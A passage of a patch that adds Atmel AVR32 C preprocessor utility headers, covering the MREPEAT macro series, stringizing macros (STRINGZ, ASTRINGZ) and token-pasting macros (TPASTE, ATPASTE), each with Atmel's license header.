#define MREPEAT20( macro, data) MREPEAT19( macro, data) macro( 19, data)
|
||||
#define MREPEAT21( macro, data) MREPEAT20( macro, data) macro( 20, data)
|
||||
#define MREPEAT22( macro, data) MREPEAT21( macro, data) macro( 21, data)
|
||||
#define MREPEAT23( macro, data) MREPEAT22( macro, data) macro( 22, data)
|
||||
#define MREPEAT24( macro, data) MREPEAT23( macro, data) macro( 23, data)
|
||||
#define MREPEAT25( macro, data) MREPEAT24( macro, data) macro( 24, data)
|
||||
#define MREPEAT26( macro, data) MREPEAT25( macro, data) macro( 25, data)
|
||||
#define MREPEAT27( macro, data) MREPEAT26( macro, data) macro( 26, data)
|
||||
#define MREPEAT28( macro, data) MREPEAT27( macro, data) macro( 27, data)
|
||||
#define MREPEAT29( macro, data) MREPEAT28( macro, data) macro( 28, data)
|
||||
#define MREPEAT30( macro, data) MREPEAT29( macro, data) macro( 29, data)
|
||||
#define MREPEAT31( macro, data) MREPEAT30( macro, data) macro( 30, data)
|
||||
#define MREPEAT32( macro, data) MREPEAT31( macro, data) macro( 31, data)
|
||||
#define MREPEAT33( macro, data) MREPEAT32( macro, data) macro( 32, data)
|
||||
#define MREPEAT34( macro, data) MREPEAT33( macro, data) macro( 33, data)
|
||||
#define MREPEAT35( macro, data) MREPEAT34( macro, data) macro( 34, data)
|
||||
#define MREPEAT36( macro, data) MREPEAT35( macro, data) macro( 35, data)
|
||||
#define MREPEAT37( macro, data) MREPEAT36( macro, data) macro( 36, data)
|
||||
#define MREPEAT38( macro, data) MREPEAT37( macro, data) macro( 37, data)
|
||||
#define MREPEAT39( macro, data) MREPEAT38( macro, data) macro( 38, data)
|
||||
#define MREPEAT40( macro, data) MREPEAT39( macro, data) macro( 39, data)
|
||||
#define MREPEAT41( macro, data) MREPEAT40( macro, data) macro( 40, data)
|
||||
#define MREPEAT42( macro, data) MREPEAT41( macro, data) macro( 41, data)
|
||||
#define MREPEAT43( macro, data) MREPEAT42( macro, data) macro( 42, data)
|
||||
#define MREPEAT44( macro, data) MREPEAT43( macro, data) macro( 43, data)
|
||||
#define MREPEAT45( macro, data) MREPEAT44( macro, data) macro( 44, data)
|
||||
#define MREPEAT46( macro, data) MREPEAT45( macro, data) macro( 45, data)
|
||||
#define MREPEAT47( macro, data) MREPEAT46( macro, data) macro( 46, data)
|
||||
#define MREPEAT48( macro, data) MREPEAT47( macro, data) macro( 47, data)
|
||||
#define MREPEAT49( macro, data) MREPEAT48( macro, data) macro( 48, data)
|
||||
#define MREPEAT50( macro, data) MREPEAT49( macro, data) macro( 49, data)
|
||||
#define MREPEAT51( macro, data) MREPEAT50( macro, data) macro( 50, data)
|
||||
#define MREPEAT52( macro, data) MREPEAT51( macro, data) macro( 51, data)
|
||||
#define MREPEAT53( macro, data) MREPEAT52( macro, data) macro( 52, data)
|
||||
#define MREPEAT54( macro, data) MREPEAT53( macro, data) macro( 53, data)
|
||||
#define MREPEAT55( macro, data) MREPEAT54( macro, data) macro( 54, data)
|
||||
#define MREPEAT56( macro, data) MREPEAT55( macro, data) macro( 55, data)
|
||||
#define MREPEAT57( macro, data) MREPEAT56( macro, data) macro( 56, data)
|
||||
#define MREPEAT58( macro, data) MREPEAT57( macro, data) macro( 57, data)
|
||||
#define MREPEAT59( macro, data) MREPEAT58( macro, data) macro( 58, data)
|
||||
#define MREPEAT60( macro, data) MREPEAT59( macro, data) macro( 59, data)
|
||||
#define MREPEAT61( macro, data) MREPEAT60( macro, data) macro( 60, data)
|
||||
#define MREPEAT62( macro, data) MREPEAT61( macro, data) macro( 61, data)
|
||||
#define MREPEAT63( macro, data) MREPEAT62( macro, data) macro( 62, data)
|
||||
#define MREPEAT64( macro, data) MREPEAT63( macro, data) macro( 63, data)
|
||||
#define MREPEAT65( macro, data) MREPEAT64( macro, data) macro( 64, data)
|
||||
#define MREPEAT66( macro, data) MREPEAT65( macro, data) macro( 65, data)
|
||||
#define MREPEAT67( macro, data) MREPEAT66( macro, data) macro( 66, data)
|
||||
#define MREPEAT68( macro, data) MREPEAT67( macro, data) macro( 67, data)
|
||||
#define MREPEAT69( macro, data) MREPEAT68( macro, data) macro( 68, data)
|
||||
#define MREPEAT70( macro, data) MREPEAT69( macro, data) macro( 69, data)
|
||||
#define MREPEAT71( macro, data) MREPEAT70( macro, data) macro( 70, data)
|
||||
#define MREPEAT72( macro, data) MREPEAT71( macro, data) macro( 71, data)
|
||||
#define MREPEAT73( macro, data) MREPEAT72( macro, data) macro( 72, data)
|
||||
#define MREPEAT74( macro, data) MREPEAT73( macro, data) macro( 73, data)
|
||||
#define MREPEAT75( macro, data) MREPEAT74( macro, data) macro( 74, data)
|
||||
#define MREPEAT76( macro, data) MREPEAT75( macro, data) macro( 75, data)
|
||||
#define MREPEAT77( macro, data) MREPEAT76( macro, data) macro( 76, data)
|
||||
#define MREPEAT78( macro, data) MREPEAT77( macro, data) macro( 77, data)
|
||||
#define MREPEAT79( macro, data) MREPEAT78( macro, data) macro( 78, data)
|
||||
#define MREPEAT80( macro, data) MREPEAT79( macro, data) macro( 79, data)
|
||||
#define MREPEAT81( macro, data) MREPEAT80( macro, data) macro( 80, data)
|
||||
#define MREPEAT82( macro, data) MREPEAT81( macro, data) macro( 81, data)
|
||||
#define MREPEAT83( macro, data) MREPEAT82( macro, data) macro( 82, data)
|
||||
#define MREPEAT84( macro, data) MREPEAT83( macro, data) macro( 83, data)
|
||||
#define MREPEAT85( macro, data) MREPEAT84( macro, data) macro( 84, data)
|
||||
#define MREPEAT86( macro, data) MREPEAT85( macro, data) macro( 85, data)
|
||||
#define MREPEAT87( macro, data) MREPEAT86( macro, data) macro( 86, data)
|
||||
#define MREPEAT88( macro, data) MREPEAT87( macro, data) macro( 87, data)
|
||||
#define MREPEAT89( macro, data) MREPEAT88( macro, data) macro( 88, data)
|
||||
#define MREPEAT90( macro, data) MREPEAT89( macro, data) macro( 89, data)
|
||||
#define MREPEAT91( macro, data) MREPEAT90( macro, data) macro( 90, data)
|
||||
#define MREPEAT92( macro, data) MREPEAT91( macro, data) macro( 91, data)
|
||||
#define MREPEAT93( macro, data) MREPEAT92( macro, data) macro( 92, data)
|
||||
#define MREPEAT94( macro, data) MREPEAT93( macro, data) macro( 93, data)
|
||||
#define MREPEAT95( macro, data) MREPEAT94( macro, data) macro( 94, data)
|
||||
#define MREPEAT96( macro, data) MREPEAT95( macro, data) macro( 95, data)
|
||||
#define MREPEAT97( macro, data) MREPEAT96( macro, data) macro( 96, data)
|
||||
#define MREPEAT98( macro, data) MREPEAT97( macro, data) macro( 97, data)
|
||||
#define MREPEAT99( macro, data) MREPEAT98( macro, data) macro( 98, data)
|
||||
#define MREPEAT100(macro, data) MREPEAT99( macro, data) macro( 99, data)
|
||||
#define MREPEAT101(macro, data) MREPEAT100(macro, data) macro(100, data)
|
||||
#define MREPEAT102(macro, data) MREPEAT101(macro, data) macro(101, data)
|
||||
#define MREPEAT103(macro, data) MREPEAT102(macro, data) macro(102, data)
|
||||
#define MREPEAT104(macro, data) MREPEAT103(macro, data) macro(103, data)
|
||||
#define MREPEAT105(macro, data) MREPEAT104(macro, data) macro(104, data)
|
||||
#define MREPEAT106(macro, data) MREPEAT105(macro, data) macro(105, data)
|
||||
#define MREPEAT107(macro, data) MREPEAT106(macro, data) macro(106, data)
|
||||
#define MREPEAT108(macro, data) MREPEAT107(macro, data) macro(107, data)
|
||||
#define MREPEAT109(macro, data) MREPEAT108(macro, data) macro(108, data)
|
||||
#define MREPEAT110(macro, data) MREPEAT109(macro, data) macro(109, data)
|
||||
#define MREPEAT111(macro, data) MREPEAT110(macro, data) macro(110, data)
|
||||
#define MREPEAT112(macro, data) MREPEAT111(macro, data) macro(111, data)
|
||||
#define MREPEAT113(macro, data) MREPEAT112(macro, data) macro(112, data)
|
||||
#define MREPEAT114(macro, data) MREPEAT113(macro, data) macro(113, data)
|
||||
#define MREPEAT115(macro, data) MREPEAT114(macro, data) macro(114, data)
|
||||
#define MREPEAT116(macro, data) MREPEAT115(macro, data) macro(115, data)
|
||||
#define MREPEAT117(macro, data) MREPEAT116(macro, data) macro(116, data)
|
||||
#define MREPEAT118(macro, data) MREPEAT117(macro, data) macro(117, data)
|
||||
#define MREPEAT119(macro, data) MREPEAT118(macro, data) macro(118, data)
|
||||
#define MREPEAT120(macro, data) MREPEAT119(macro, data) macro(119, data)
|
||||
#define MREPEAT121(macro, data) MREPEAT120(macro, data) macro(120, data)
|
||||
#define MREPEAT122(macro, data) MREPEAT121(macro, data) macro(121, data)
|
||||
#define MREPEAT123(macro, data) MREPEAT122(macro, data) macro(122, data)
|
||||
#define MREPEAT124(macro, data) MREPEAT123(macro, data) macro(123, data)
|
||||
#define MREPEAT125(macro, data) MREPEAT124(macro, data) macro(124, data)
|
||||
#define MREPEAT126(macro, data) MREPEAT125(macro, data) macro(125, data)
|
||||
#define MREPEAT127(macro, data) MREPEAT126(macro, data) macro(126, data)
|
||||
#define MREPEAT128(macro, data) MREPEAT127(macro, data) macro(127, data)
|
||||
#define MREPEAT129(macro, data) MREPEAT128(macro, data) macro(128, data)
|
||||
#define MREPEAT130(macro, data) MREPEAT129(macro, data) macro(129, data)
|
||||
#define MREPEAT131(macro, data) MREPEAT130(macro, data) macro(130, data)
|
||||
#define MREPEAT132(macro, data) MREPEAT131(macro, data) macro(131, data)
|
||||
#define MREPEAT133(macro, data) MREPEAT132(macro, data) macro(132, data)
|
||||
#define MREPEAT134(macro, data) MREPEAT133(macro, data) macro(133, data)
|
||||
#define MREPEAT135(macro, data) MREPEAT134(macro, data) macro(134, data)
|
||||
#define MREPEAT136(macro, data) MREPEAT135(macro, data) macro(135, data)
|
||||
#define MREPEAT137(macro, data) MREPEAT136(macro, data) macro(136, data)
|
||||
#define MREPEAT138(macro, data) MREPEAT137(macro, data) macro(137, data)
|
||||
#define MREPEAT139(macro, data) MREPEAT138(macro, data) macro(138, data)
|
||||
#define MREPEAT140(macro, data) MREPEAT139(macro, data) macro(139, data)
|
||||
#define MREPEAT141(macro, data) MREPEAT140(macro, data) macro(140, data)
|
||||
#define MREPEAT142(macro, data) MREPEAT141(macro, data) macro(141, data)
|
||||
#define MREPEAT143(macro, data) MREPEAT142(macro, data) macro(142, data)
|
||||
#define MREPEAT144(macro, data) MREPEAT143(macro, data) macro(143, data)
|
||||
#define MREPEAT145(macro, data) MREPEAT144(macro, data) macro(144, data)
|
||||
#define MREPEAT146(macro, data) MREPEAT145(macro, data) macro(145, data)
|
||||
#define MREPEAT147(macro, data) MREPEAT146(macro, data) macro(146, data)
|
||||
#define MREPEAT148(macro, data) MREPEAT147(macro, data) macro(147, data)
|
||||
#define MREPEAT149(macro, data) MREPEAT148(macro, data) macro(148, data)
|
||||
#define MREPEAT150(macro, data) MREPEAT149(macro, data) macro(149, data)
|
||||
#define MREPEAT151(macro, data) MREPEAT150(macro, data) macro(150, data)
|
||||
#define MREPEAT152(macro, data) MREPEAT151(macro, data) macro(151, data)
|
||||
#define MREPEAT153(macro, data) MREPEAT152(macro, data) macro(152, data)
|
||||
#define MREPEAT154(macro, data) MREPEAT153(macro, data) macro(153, data)
|
||||
#define MREPEAT155(macro, data) MREPEAT154(macro, data) macro(154, data)
|
||||
#define MREPEAT156(macro, data) MREPEAT155(macro, data) macro(155, data)
|
||||
#define MREPEAT157(macro, data) MREPEAT156(macro, data) macro(156, data)
|
||||
#define MREPEAT158(macro, data) MREPEAT157(macro, data) macro(157, data)
|
||||
#define MREPEAT159(macro, data) MREPEAT158(macro, data) macro(158, data)
|
||||
#define MREPEAT160(macro, data) MREPEAT159(macro, data) macro(159, data)
|
||||
#define MREPEAT161(macro, data) MREPEAT160(macro, data) macro(160, data)
|
||||
#define MREPEAT162(macro, data) MREPEAT161(macro, data) macro(161, data)
|
||||
#define MREPEAT163(macro, data) MREPEAT162(macro, data) macro(162, data)
|
||||
#define MREPEAT164(macro, data) MREPEAT163(macro, data) macro(163, data)
|
||||
#define MREPEAT165(macro, data) MREPEAT164(macro, data) macro(164, data)
|
||||
#define MREPEAT166(macro, data) MREPEAT165(macro, data) macro(165, data)
|
||||
#define MREPEAT167(macro, data) MREPEAT166(macro, data) macro(166, data)
|
||||
#define MREPEAT168(macro, data) MREPEAT167(macro, data) macro(167, data)
|
||||
#define MREPEAT169(macro, data) MREPEAT168(macro, data) macro(168, data)
|
||||
#define MREPEAT170(macro, data) MREPEAT169(macro, data) macro(169, data)
|
||||
#define MREPEAT171(macro, data) MREPEAT170(macro, data) macro(170, data)
|
||||
#define MREPEAT172(macro, data) MREPEAT171(macro, data) macro(171, data)
|
||||
#define MREPEAT173(macro, data) MREPEAT172(macro, data) macro(172, data)
|
||||
#define MREPEAT174(macro, data) MREPEAT173(macro, data) macro(173, data)
|
||||
#define MREPEAT175(macro, data) MREPEAT174(macro, data) macro(174, data)
|
||||
#define MREPEAT176(macro, data) MREPEAT175(macro, data) macro(175, data)
|
||||
#define MREPEAT177(macro, data) MREPEAT176(macro, data) macro(176, data)
|
||||
#define MREPEAT178(macro, data) MREPEAT177(macro, data) macro(177, data)
|
||||
#define MREPEAT179(macro, data) MREPEAT178(macro, data) macro(178, data)
|
||||
#define MREPEAT180(macro, data) MREPEAT179(macro, data) macro(179, data)
|
||||
#define MREPEAT181(macro, data) MREPEAT180(macro, data) macro(180, data)
|
||||
#define MREPEAT182(macro, data) MREPEAT181(macro, data) macro(181, data)
|
||||
#define MREPEAT183(macro, data) MREPEAT182(macro, data) macro(182, data)
|
||||
#define MREPEAT184(macro, data) MREPEAT183(macro, data) macro(183, data)
|
||||
#define MREPEAT185(macro, data) MREPEAT184(macro, data) macro(184, data)
|
||||
#define MREPEAT186(macro, data) MREPEAT185(macro, data) macro(185, data)
|
||||
#define MREPEAT187(macro, data) MREPEAT186(macro, data) macro(186, data)
|
||||
#define MREPEAT188(macro, data) MREPEAT187(macro, data) macro(187, data)
|
||||
#define MREPEAT189(macro, data) MREPEAT188(macro, data) macro(188, data)
|
||||
#define MREPEAT190(macro, data) MREPEAT189(macro, data) macro(189, data)
|
||||
#define MREPEAT191(macro, data) MREPEAT190(macro, data) macro(190, data)
|
||||
#define MREPEAT192(macro, data) MREPEAT191(macro, data) macro(191, data)
|
||||
#define MREPEAT193(macro, data) MREPEAT192(macro, data) macro(192, data)
|
||||
#define MREPEAT194(macro, data) MREPEAT193(macro, data) macro(193, data)
|
||||
#define MREPEAT195(macro, data) MREPEAT194(macro, data) macro(194, data)
|
||||
#define MREPEAT196(macro, data) MREPEAT195(macro, data) macro(195, data)
|
||||
#define MREPEAT197(macro, data) MREPEAT196(macro, data) macro(196, data)
|
||||
#define MREPEAT198(macro, data) MREPEAT197(macro, data) macro(197, data)
|
||||
#define MREPEAT199(macro, data) MREPEAT198(macro, data) macro(198, data)
|
||||
#define MREPEAT200(macro, data) MREPEAT199(macro, data) macro(199, data)
|
||||
#define MREPEAT201(macro, data) MREPEAT200(macro, data) macro(200, data)
|
||||
#define MREPEAT202(macro, data) MREPEAT201(macro, data) macro(201, data)
|
||||
#define MREPEAT203(macro, data) MREPEAT202(macro, data) macro(202, data)
|
||||
#define MREPEAT204(macro, data) MREPEAT203(macro, data) macro(203, data)
|
||||
#define MREPEAT205(macro, data) MREPEAT204(macro, data) macro(204, data)
|
||||
#define MREPEAT206(macro, data) MREPEAT205(macro, data) macro(205, data)
|
||||
#define MREPEAT207(macro, data) MREPEAT206(macro, data) macro(206, data)
|
||||
#define MREPEAT208(macro, data) MREPEAT207(macro, data) macro(207, data)
|
||||
#define MREPEAT209(macro, data) MREPEAT208(macro, data) macro(208, data)
|
||||
#define MREPEAT210(macro, data) MREPEAT209(macro, data) macro(209, data)
|
||||
#define MREPEAT211(macro, data) MREPEAT210(macro, data) macro(210, data)
|
||||
#define MREPEAT212(macro, data) MREPEAT211(macro, data) macro(211, data)
|
||||
#define MREPEAT213(macro, data) MREPEAT212(macro, data) macro(212, data)
|
||||
#define MREPEAT214(macro, data) MREPEAT213(macro, data) macro(213, data)
|
||||
#define MREPEAT215(macro, data) MREPEAT214(macro, data) macro(214, data)
|
||||
#define MREPEAT216(macro, data) MREPEAT215(macro, data) macro(215, data)
|
||||
#define MREPEAT217(macro, data) MREPEAT216(macro, data) macro(216, data)
|
||||
#define MREPEAT218(macro, data) MREPEAT217(macro, data) macro(217, data)
|
||||
#define MREPEAT219(macro, data) MREPEAT218(macro, data) macro(218, data)
|
||||
#define MREPEAT220(macro, data) MREPEAT219(macro, data) macro(219, data)
|
||||
#define MREPEAT221(macro, data) MREPEAT220(macro, data) macro(220, data)
|
||||
#define MREPEAT222(macro, data) MREPEAT221(macro, data) macro(221, data)
|
||||
#define MREPEAT223(macro, data) MREPEAT222(macro, data) macro(222, data)
|
||||
#define MREPEAT224(macro, data) MREPEAT223(macro, data) macro(223, data)
|
||||
#define MREPEAT225(macro, data) MREPEAT224(macro, data) macro(224, data)
|
||||
#define MREPEAT226(macro, data) MREPEAT225(macro, data) macro(225, data)
|
||||
#define MREPEAT227(macro, data) MREPEAT226(macro, data) macro(226, data)
|
||||
#define MREPEAT228(macro, data) MREPEAT227(macro, data) macro(227, data)
|
||||
#define MREPEAT229(macro, data) MREPEAT228(macro, data) macro(228, data)
|
||||
#define MREPEAT230(macro, data) MREPEAT229(macro, data) macro(229, data)
|
||||
#define MREPEAT231(macro, data) MREPEAT230(macro, data) macro(230, data)
|
||||
#define MREPEAT232(macro, data) MREPEAT231(macro, data) macro(231, data)
|
||||
#define MREPEAT233(macro, data) MREPEAT232(macro, data) macro(232, data)
|
||||
#define MREPEAT234(macro, data) MREPEAT233(macro, data) macro(233, data)
|
||||
#define MREPEAT235(macro, data) MREPEAT234(macro, data) macro(234, data)
|
||||
#define MREPEAT236(macro, data) MREPEAT235(macro, data) macro(235, data)
|
||||
#define MREPEAT237(macro, data) MREPEAT236(macro, data) macro(236, data)
|
||||
#define MREPEAT238(macro, data) MREPEAT237(macro, data) macro(237, data)
|
||||
#define MREPEAT239(macro, data) MREPEAT238(macro, data) macro(238, data)
|
||||
#define MREPEAT240(macro, data) MREPEAT239(macro, data) macro(239, data)
|
||||
#define MREPEAT241(macro, data) MREPEAT240(macro, data) macro(240, data)
|
||||
#define MREPEAT242(macro, data) MREPEAT241(macro, data) macro(241, data)
|
||||
#define MREPEAT243(macro, data) MREPEAT242(macro, data) macro(242, data)
|
||||
#define MREPEAT244(macro, data) MREPEAT243(macro, data) macro(243, data)
|
||||
#define MREPEAT245(macro, data) MREPEAT244(macro, data) macro(244, data)
|
||||
#define MREPEAT246(macro, data) MREPEAT245(macro, data) macro(245, data)
|
||||
#define MREPEAT247(macro, data) MREPEAT246(macro, data) macro(246, data)
|
||||
#define MREPEAT248(macro, data) MREPEAT247(macro, data) macro(247, data)
|
||||
#define MREPEAT249(macro, data) MREPEAT248(macro, data) macro(248, data)
|
||||
#define MREPEAT250(macro, data) MREPEAT249(macro, data) macro(249, data)
|
||||
#define MREPEAT251(macro, data) MREPEAT250(macro, data) macro(250, data)
|
||||
#define MREPEAT252(macro, data) MREPEAT251(macro, data) macro(251, data)
|
||||
#define MREPEAT253(macro, data) MREPEAT252(macro, data) macro(252, data)
|
||||
#define MREPEAT254(macro, data) MREPEAT253(macro, data) macro(253, data)
|
||||
#define MREPEAT255(macro, data) MREPEAT254(macro, data) macro(254, data)
|
||||
#define MREPEAT256(macro, data) MREPEAT255(macro, data) macro(255, data)
|
||||
|
||||
|
||||
#endif // _MREPEAT_H_
|
|
@ -0,0 +1,53 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Preprocessor utils.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices can be used.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _PREPROCESSOR_H_
|
||||
#define _PREPROCESSOR_H_
|
||||
|
||||
#include "tpaste.h"
|
||||
#include "stringz.h"
|
||||
#include "mrepeat.h"
|
||||
|
||||
|
||||
#endif // _PREPROCESSOR_H_
|
|
@ -0,0 +1,73 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Preprocessor stringizing utils.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices can be used.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _STRINGZ_H_
|
||||
#define _STRINGZ_H_
|
||||
|
||||
|
||||
/*! \brief Stringize.
|
||||
*
|
||||
* Stringize a preprocessing token, this token being allowed to be \#defined.
|
||||
*
|
||||
* May be used only within macros with the token passed as an argument if the token is \#defined.
|
||||
*
|
||||
* For example, writing STRINGZ(PIN) within a macro \#defined by PIN_NAME(PIN)
|
||||
* and invoked as PIN_NAME(PIN0) with PIN0 \#defined as A0 is equivalent to
|
||||
* writing "A0".
|
||||
*/
|
||||
#define STRINGZ(x) #x
|
||||
|
||||
/*! \brief Absolute stringize.
|
||||
*
|
||||
* Stringize a preprocessing token, this token being allowed to be \#defined.
|
||||
*
|
||||
* No restriction of use if the token is \#defined.
|
||||
*
|
||||
* For example, writing ASTRINGZ(PIN0) anywhere with PIN0 \#defined as A0 is
|
||||
* equivalent to writing "A0".
|
||||
*/
|
||||
#define ASTRINGZ(x) STRINGZ(x)
|
||||
|
||||
|
||||
#endif // _STRINGZ_H_
|
|
@ -0,0 +1,93 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Preprocessor token pasting utils.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices can be used.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _TPASTE_H_
|
||||
#define _TPASTE_H_
|
||||
|
||||
|
||||
/*! \name Token Paste
|
||||
*
|
||||
* Paste N preprocessing tokens together, these tokens being allowed to be \#defined.
|
||||
*
|
||||
* May be used only within macros with the tokens passed as arguments if the tokens are \#defined.
|
||||
*
|
||||
* For example, writing TPASTE2(U, WIDTH) within a macro \#defined by
|
||||
* UTYPE(WIDTH) and invoked as UTYPE(UL_WIDTH) with UL_WIDTH \#defined as 32 is
|
||||
* equivalent to writing U32.
|
||||
*/
|
||||
//! @{
|
||||
#define TPASTE2( a, b) a##b
|
||||
#define TPASTE3( a, b, c) a##b##c
|
||||
#define TPASTE4( a, b, c, d) a##b##c##d
|
||||
#define TPASTE5( a, b, c, d, e) a##b##c##d##e
|
||||
#define TPASTE6( a, b, c, d, e, f) a##b##c##d##e##f
|
||||
#define TPASTE7( a, b, c, d, e, f, g) a##b##c##d##e##f##g
|
||||
#define TPASTE8( a, b, c, d, e, f, g, h) a##b##c##d##e##f##g##h
|
||||
#define TPASTE9( a, b, c, d, e, f, g, h, i) a##b##c##d##e##f##g##h##i
|
||||
#define TPASTE10(a, b, c, d, e, f, g, h, i, j) a##b##c##d##e##f##g##h##i##j
|
||||
//! @}
|
||||
|
||||
/*! \name Absolute Token Paste
|
||||
*
|
||||
* Paste N preprocessing tokens together, these tokens being allowed to be \#defined.
|
||||
*
|
||||
* No restriction of use if the tokens are \#defined.
|
||||
*
|
||||
* For example, writing ATPASTE2(U, UL_WIDTH) anywhere with UL_WIDTH \#defined
|
||||
* as 32 is equivalent to writing U32.
|
||||
*/
|
||||
//! @{
|
||||
#define ATPASTE2( a, b) TPASTE2( a, b)
|
||||
#define ATPASTE3( a, b, c) TPASTE3( a, b, c)
|
||||
#define ATPASTE4( a, b, c, d) TPASTE4( a, b, c, d)
|
||||
